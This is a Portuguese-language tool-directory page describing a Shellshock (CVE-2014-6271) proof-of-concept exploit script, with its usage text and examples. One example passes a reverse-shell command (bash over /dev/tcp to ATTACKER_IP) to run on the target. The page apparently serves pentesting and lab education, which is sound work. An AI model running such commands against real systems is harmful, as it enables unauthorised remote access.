Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/industri4l-h3ll-xpl0it3rs/cve-2014-6271-shellshock
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubindustri4l-h3ll-xpl0it3rs/cve-2014-6271-shellshock

CVE-2014-6271-Shellshock

Exploit CVE-2014-6271 | por infrar3d

Ver Repositório
há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2014-6271 Shellshock

Explorado por infrar3d

Este repositório contém um exploit de prova de conceito para CVE-2014-6271 (Shellshock).

Shellshock é uma vulnerabilidade crítica no GNU Bash onde variáveis de ambiente especialmente elaboradas permitem a execução arbitrária de comandos.
Quando um servidor web passa cabeçalhos HTTP para scripts CGI que invocam o Bash, um atacante pode injetar comandos através desses cabeçalhos.

Uso:

root@kitploit:~
./shellshock_exp.sh -h                                        
shellshock_exp.sh [options]

Options:
	-h | --help	print this message and exit
	-a | --address	target address (default is "localhost")
	-p | --port	target port (default is 80)
	-f | --file	target file (default is "/cgi-bin/shell.sh")
	-c | --command	command to execute on the target machine (default is "id")

Exemplos:

root@kitploit:~
./shellshock_exp.sh -a 192.168.1.10

./shellshock_exp.sh -a 192.168.1.10 -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

(testado na máquina VulnHub "Hacksudo - Thor")

⚠️ Aviso ⚠️

Este software e código de prova de conceito é fornecido apenas para fins educacionais e de pesquisa.

  • Os autores não são responsáveis por qualquer uso indevido ou dano causado por este programa.
  • Não use contra qualquer sistema sem permissão explícita.
  • O uso desta ferramenta para atacar alvos sem consentimento é ilegal.

Você é responsável por obedecer a todas as leis aplicáveis. Use de forma ética e responsável.

Baixar ferramenta